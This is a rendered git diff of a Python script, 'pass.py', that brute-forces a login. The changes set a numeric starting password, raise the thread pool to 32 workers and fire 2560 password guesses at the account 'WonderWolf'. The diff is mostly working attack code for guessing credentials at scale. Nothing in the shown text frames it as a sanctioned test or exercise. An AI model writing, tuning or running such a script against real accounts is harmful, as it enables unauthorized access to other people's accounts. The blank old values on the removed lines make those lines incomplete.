Update pass.py
Browse files
pass.py
CHANGED
@@ -30,21 +30,21 @@ def send_login(username, number_of_attempts):
|
|
30 |
return charset[0] + current
|
31 |
|
32 |
# Start password
|
33 |
-
password = '
|
34 |
passwords = [password]
|
35 |
|
36 |
for _ in range(number_of_attempts - 1):
|
37 |
password = next_word(password)
|
38 |
passwords.append(password)
|
39 |
|
40 |
-
with ThreadPoolExecutor(max_workers=
|
41 |
future_to_password = {executor.submit(send_request, pw): pw for pw in passwords}
|
42 |
print(password)
|
43 |
start = time.time()
|
44 |
|
45 |
# Example usage
|
46 |
username = 'WonderWolf' # Replace with actual username
|
47 |
-
number_of_attempts =
|
48 |
send_login(username, number_of_attempts)
|
49 |
end = time.time()
|
50 |
print(end - start)
|
|
|
30 |
return charset[0] + current
|
31 |
|
32 |
# Start password
|
33 |
+
password = '896494'
|
34 |
passwords = [password]
|
35 |
|
36 |
for _ in range(number_of_attempts - 1):
|
37 |
password = next_word(password)
|
38 |
passwords.append(password)
|
39 |
|
40 |
+
with ThreadPoolExecutor(max_workers=32) as executor:
|
41 |
future_to_password = {executor.submit(send_request, pw): pw for pw in passwords}
|
42 |
print(password)
|
43 |
start = time.time()
|
44 |
|
45 |
# Example usage
|
46 |
username = 'WonderWolf' # Replace with actual username
|
47 |
+
number_of_attempts = 2560 # Set the number of password attempts
|
48 |
send_login(username, number_of_attempts)
|
49 |
end = time.time()
|
50 |
print(end - start)
|